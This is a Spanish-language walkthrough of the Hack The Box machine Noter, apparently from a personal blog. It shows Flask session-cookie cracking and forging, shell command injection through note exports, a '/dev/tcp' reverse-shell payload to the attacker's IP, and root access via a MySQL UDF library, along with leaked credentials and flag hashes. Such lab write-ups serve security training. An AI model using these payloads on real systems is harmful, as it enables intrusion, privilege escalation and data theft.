Conocimientos
Reconocimiento
Escaneo de puertos con nmap
Descubrimiento de puertos abiertos
nmap -p- --open --min-rate 5000 -n -Pn -sS 10.10.11.160 -oG openports
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-12 10:36 GMT
Nmap scan report for 10.10.11.160
Host is up (0.059s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
5000/tcp open upnp
Nmap done: 1 IP address (1 host up) scanned in 17.14 seconds
Escaneo de versión y servicios de cada puerto
nmap -sCV -p21,22,5000 10.10.11.160 -oN portscan
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-12 10:36 GMT
Nmap scan report for 10.10.11.160
Host is up (0.070s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c6:53:c6:2a:e9:28:90:50:4d:0c:8d:64:88:e0:08:4d (RSA)
| 256 5f:12:58:5f:49:7d:f3:6c:bd:9b:25:49:ba:09:cc:43 (ECDSA)
|_ 256 f1:6b:00:16:f7:88:ab:00:ce:96:af:a6:7e:b5:a8:39 (ED25519)
5000/tcp open http Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Noter
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.05 seconds
Puerto 5000 (HTTP)
Con whatweb
analizo las tecnologías que emplea el servidor web
whatweb http://10.10.11.160:5000
http://10.10.11.160:5000 [200 OK] Bootstrap[3.3.7], Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/2.0.2 Python/3.8.10], IP[10.10.11.160], Python[3.8.10], Script[text/javascript], Title[Noter], Werkzeug[2.0.2]
Me puedo registrar
Una vez loggeado, en la página principal hay un menú que me permite cambiar el plan y ver las notas que están creadas
Pero algo a tener en cuenta es que al iniciar sesión, aparece une error distinos si el usuario no existe o si es inválida la contraseña
Intercepto la petición con BurpSuite
para ver como se tramita
POST /login HTTP/1.1
Host: 10.10.11.160:5000
Content-Length: 28
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.11.160:5000
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.11.160:5000/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
username=rubbx&password=test
Con wfuzz
aplico fuerza bruta para encontrar usuarios
wfuzz -c -t 200 --ss="Invalid login" -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -d 'username=FUZZ&password=test' http://10.10.11.160:5000/login
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.11.160:5000/login
Total requests: 10177
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000001208: 200 68 L 110 W 2026 Ch "blue"
Total time: 0
Processed Requests: 10177
Filtered Requests: 10176
Requests/sec.: 0
Por tanto blue
es un usuario registrado que me puede servir en un futuro. La cookie que se settea está formado por un JWT
GET /dashboard HTTP/1.1
Host: 10.10.11.160:5000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.11.160:5000/VIP
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: session=eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoicnViYngifQ.ZSf3vA.NhlJpydkmUV99nayMPhu5rMus90
Connection: close
Desde la web jwt.io se puede ver como está compuesto. No puedo modificarlo al no disponer del secreto
Pruebo a aplicar fuerza bruta con la herramienta flask-unsign
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoicnViYngifQ.ZSf3vA.NhlJpydkmUV99nayMPhu5rMus90' --no-literal-eval
[*] Session decodes to: {'logged_in': True, 'username': 'rubbx'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 17664 attempts
b'secret123'
Habiendo obtenido este valor puedo crear la nueva cookie para el usuario blue
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoicnViYngifQ.ZSf3vA.NhlJpydkmUV99nayMPhu5rMus90'
{'logged_in': True, 'username': 'rubbx'}
flask-unsign --sign --cookie "{'logged_in': True, 'username': 'blue'}" --secret 'secret123'
eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYmx1ZSJ9.ZSf87g.8zx2yqZ8Ak6THo0a8dlRYKbe3xI
La cambio en el navegador haciendo un cookie-hijacking
Al recargar la página, aparezco loggeado como este usuario
Tiene almacenada una nota con credenciales para el servicio FTP
Me conecto y listo los archivos
ftp 10.10.11.160
Connected to 10.10.11.160.
220 (vsFTPd 3.0.3)
Name (10.10.11.160:rubbx): blue
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||43307|)
150 Here comes the directory listing.
drwxr-xr-x 2 1002 1002 4096 May 02 2022 files
-rw-r--r-- 1 1002 1002 12569 Dec 24 2021 policy.pdf
Descargo el PDF para examinarlo
ftp> get policy.pdf
local: policy.pdf remote: policy.pdf
229 Entering Extended Passive Mode (|||35956|)
150 Opening BINARY mode data connection for policy.pdf (12569 bytes).
100% |********************************************************************************************************************************************************************| 12569 131.69 KiB/s 00:00 ETA
226 Transfer complete.
12569 bytes received in 00:00 (24.39 KiB/s)
Las contraseñas usadas por defecto siguen un patrón específico
Como había visto al usuario ftp_admin
como autor de la nota, pruebo a conectarme al FTP como este con la contraseña ftp_admin@Noter!
. De nuevo es válida, y ahora puedo ver más archivos
ftp 10.10.11.160
Connected to 10.10.11.160.
220 (vsFTPd 3.0.3)
Name (10.10.11.160:rubbx): ftp_admin
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||11897|)
150 Here comes the directory listing.
-rw-r--r-- 1 1003 1003 25559 Nov 01 2021 app_backup_1635803546.zip
-rw-r--r-- 1 1003 1003 26298 Dec 01 2021 app_backup_1638395546.zip
226 Directory send OK.
Parecen backups de la aplicación web
ftp> prompt off
Interactive mode off.
ftp> mget *
local: app_backup_1635803546.zip remote: app_backup_1635803546.zip
229 Entering Extended Passive Mode (|||57850|)
150 Opening BINARY mode data connection for app_backup_1635803546.zip (25559 bytes).
100% |*******************************************************************************************************************************************************************| 25559 27.59 KiB/s 00:00 ETA
226 Transfer complete.
25559 bytes received in 00:01 (17.42 KiB/s)
local: app_backup_1638395546.zip remote: app_backup_1638395546.zip
229 Entering Extended Passive Mode (|||61168|)
150 Opening BINARY mode data connection for app_backup_1638395546.zip (26298 bytes).
100% |*******************************************************************************************************************************************************************| 26298 35.79 KiB/s 00:00 ETA
226 Transfer complete.
26298 bytes received in 00:01 (22.66 KiB/s)
Los extraigo en directorios diferentes
unzip app_backup_1635803546.zip -d app_backup_1
unzip app_backup_1638395546.zip -d app_backup_2
Aplico una comparativa con el comando diff
diff app_backup_1 app_backup_2
diff app_backup_1/app.py app_backup_2/app.py
17,18c17,18
< app.config['MYSQL_USER'] = 'root'
< app.config['MYSQL_PASSWORD'] = 'Nildogg36'
---
> app.config['MYSQL_USER'] = 'DB_user'
> app.config['MYSQL_PASSWORD'] = 'DB_password'
21a22,23
> attachment_dir = 'misc/attachments/'
>
239a242,368
>
> # Export notes
> @app.route('/export_note', methods=['GET', 'POST'])
> @is_logged_in
> def export_note():
> if check_VIP(session['username']):
> try:
> cur = mysql.connection.cursor()
>
> # Get note
> result = cur.execute("SELECT * FROM notes WHERE author = %s", ([session['username']]))
>
> notes = cur.fetchall()
>
> if result > 0:
> return render_template('export_note.html', notes=notes)
> else:
> msg = 'No notes Found'
> return render_template('export_note.html', msg=msg)
> # Close connection
> cur.close()
>
> except Exception as e:
> return render_template('export_note.html', error="An error occured!")
>
> else:
> abort(403)
>
> # Export local
> @app.route('/export_note_local/<string:id>', methods=['GET'])
> @is_logged_in
> def export_note_local(id):
> if check_VIP(session['username']):
>
> cur = mysql.connection.cursor()
>
> result = cur.execute("SELECT * FROM notes WHERE id = %s and author = %s", (id,session['username']))
>
> if result > 0:
> note = cur.fetchone()
>
> rand_int = random.randint(1,10000)
> command = f"node misc/md-to-pdf.js $'{note['body']}' {rand_int}"
> subprocess.run(command, shell=True, executable="/bin/bash")
>
> return send_file(attachment_dir + str(rand_int) +'.pdf', as_attachment=True)
>
> else:
> return render_template('dashboard.html')
> else:
> abort(403)
>
> # Export remote
> @app.route('/export_note_remote', methods=['POST'])
> @is_logged_in
> def export_note_remote():
> if check_VIP(session['username']):
> try:
> url = request.form['url']
>
> status, error = parse_url(url)
>
> if (status is True) and (error is None):
> try:
> r = pyrequest.get(url,allow_redirects=True)
> rand_int = random.randint(1,10000)
> command = f"node misc/md-to-pdf.js $'{r.text.strip()}' {rand_int}"
> subprocess.run(command, shell=True, executable="/bin/bash")
>
> if os.path.isfile(attachment_dir + f'{str(rand_int)}.pdf'):
>
> return send_file(attachment_dir + f'{str(rand_int)}.pdf', as_attachment=True)
>
> else:
> return render_template('export_note.html', error="Error occured while exporting the !")
>
> except Exception as e:
> return render_template('export_note.html', error="Error occured!")
>
>
> else:
> return render_template('export_note.html', error=f"Error occured while exporting ! ({error})")
>
> except Exception as e:
> return render_template('export_note.html', error=f"Error occured while exporting ! ({e})")
>
> else:
> abort(403)
>
> # Import notes
> @app.route('/import_note', methods=['GET', 'POST'])
> @is_logged_in
> def import_note():
>
> if check_VIP(session['username']):
> if request.method == 'GET':
> return render_template('import_note.html')
>
> elif request.method == "POST":
> title = request.form['title']
> url = request.form['url']
>
> status, error = parse_url(url)
>
> if (status is True) and (error is None):
> try:
> r = pyrequest.get(url,allow_redirects=True)
> md = "\n\n".join(r.text.split("\n")[:])
>
> body = markdown.markdown(md)
> cur = mysql.connection.cursor()
> cur.execute("INSERT INTO notes(title, body, author, create_date ) VALUES (%s, %s, %s ,%s) ", (title, body[:900], session['username'], time.ctime()))
> mysql.connection.commit()
> cur.close()
>
> return render_template('import_note.html', msg="Note imported successfully!")
>
>
> except Exception as e:
> return render_template('import_note.html', error="An error occured when importing!")
>
> else:
> return render_template('import_note.html', error=f"An error occured when importing! ({error})")
>
> else:
> abort(403)
>
Common subdirectories: app_backup_1/misc and app_backup_2/misc
Common subdirectories: app_backup_1/templates and app_backup_2/templates
Las credenciales de MySQL
están hardcodeadas en el código. Se está ejecutando con subprocess.run
un comando a nivel de sistema empleando una bash
. Se está pasando como argumento el campo body
de las notas que se crean. La forma de ejecutarlo es a través del método de la URL, ya que está dentro de la función. Creo un payload que me permita escapar de este contexto y ejecutar comandos. Al hacer click en exportar la nota, se debería de ejecutar
node misc/md-to-pdf.js $'';ping -c 1 10.10.16.4; echo '' {rand_int}
node:internal/modules/cjs/loader:1042
throw err;
^
Error: Cannot find module '/home/rubbx/Desktop/HTB/Machines/Noter/misc/md-to-pdf.js'
at Module._resolveFilename (node:internal/modules/cjs/loader:1039:15)
at Module._load (node:internal/modules/cjs/loader:885:27)
at Function.executeUserEntryPoint [as runMain] (node:internal/modules/run_main:81:12)
at node:internal/main/run_main_module:23:47 {
code: 'MODULE_NOT_FOUND',
requireStack: []
}
Node.js v18.13.0
PING 10.10.16.4 (10.10.16.4) 56(84) bytes of data.
64 bytes from 10.10.16.4: icmp_seq=1 ttl=64 time=0.321 ms
--- 10.10.16.4 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.321/0.321/0.321/0.000 ms
{rand_int}
El nota introduzco ;ping -c 1 10.10.16.4; echo ''
Sin embargo, devuelve un error con un código de estado 500. Esto puede deberse a que en el campo body
se almacena algún dato adicional (como formato de texto) que corrompan la sintaxis
Volviendo al código fuente, la función que realiza la misma tarea pero de forma remota, se queda únicamente con la data del archivo que indique y eliminando el salto de línea, ya que utiliza r.text.strip()
. Creo un archivo exploit.md
con el siguiente contenido
'; ping -c1 10.10.16.4; echo '
Lo comparto con un servicio HTTP con python
e introduzco en el formulario
Al darle click en exportar recibo la traza ICMP en mi equipo
tcpdump -i tun0 icmp -n
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
15:08:02.987766 IP 10.10.11.160 > 10.10.16.4: ICMP echo request, id 3, seq 1, length 64
15:08:02.996250 IP 10.10.16.4 > 10.10.11.160: ICMP echo reply, id 3, seq 1, length 64
Modifico el exploit para enviarme una reverse shell
'; bash -i >& /dev/tcp/10.10.16.4/443 0>&1; echo '
Gano acceso en una sesión de netcat
nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.11.160] 55704
bash: cannot set terminal process group (1263): Inappropriate ioctl for device
bash: no job control in this shell
svc@noter:~/app/web$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
svc@noter:~/app/web$ ^Z
zsh: suspended nc -nlvp 443
❯ stty raw -echo; fg
[1] + continued nc -nlvp 443
reset xterm
svc@noter:~/app/web$ export TERM=xterm-color
svc@noter:~/app/web$ export SHELL=bash
svc@noter:~/app/web$ stty rows 55 columns 209
svc@noter:~/app/web$ source ~/.bashrc
Puedo ver la primera flag
svc@noter:~$ cat user.txt
ff4d9ea856683c0e420bb3b29804aca6
Escalada
El demonio de mysql
lo ejecuta el usuario root
svc@noter:/etc/systemd/system$ cat mysql-start.service
[Unit]
Description=MySQL service
[Service]
ExecStart=/usr/sbin/mysqld
User=root
Group=root
[Install]
WantedBy=multi-user.target
Es posible escalar privilegios a través la inyección de una librería, según esta guía de HackTricks. El código de la librería se encuentra en exploit-db. Compilo el código
svc@noter:/tmp$ gcc -g -c raptor_udf2.c
svc@noter:/tmp$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
Me conecto a la base de datos
svc@noter:/tmp$ mysql -uroot -p'Nildogg36'
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 22028
Server version: 10.3.32-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>
Dentro de mysql
, creo la tabla foo
MariaDB [(none)]> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [mysql]> create table foo(line blob);
Query OK, 0 rows affected (0.005 sec)
Importo la librería
1
2
MariaDB [mysql]> insert into foo values(load_file('/tmp/raptor_udf2.so'));
Query OK, 1 row affected (0.002 sec)
Busco la ruta donde se encuentran los plugins
MariaDB [mysql]> show variables like '%plugin%';
+-----------------+---------------------------------------------+
| Variable_name | Value |
+-----------------+---------------------------------------------+
| plugin_dir | /usr/lib/x86_64-linux-gnu/mariadb19/plugin/ |
| plugin_maturity | gamma |
+-----------------+---------------------------------------------+
2 rows in set (0.001 sec)
Inserto el contenido de la librería ahí
1
2
MariaDB [mysql]> select * from foo into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so';
Query OK, 1 row affected (0.001 sec)
Creo una función donde inyectaré el comando
1
2
MariaDB [mysql]> create function do_system returns integer soname 'raptor_udf2.so';
Query OK, 0 rows affected (0.000 sec)
Le asigno el priveligio SUID a la bash
1
2
3
4
5
6
7
8
9
10
MariaDB [mysql]> select do_system('chmod u+s /bin/bash');
+----------------------------------+
| do_system('chmod u+s /bin/bash') |
+----------------------------------+
| 0 |
+----------------------------------+
1 row in set (0.002 sec)
MariaDB [mysql]> exit
Bye
Puedo ver la segunda flag
svc@noter:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Jun 18 2020 /bin/bash
svc@noter:/tmp$ bash -p
bash-5.0# cat /root/root.txt
0ffe7d67bab1fc37c215eaed0189a53b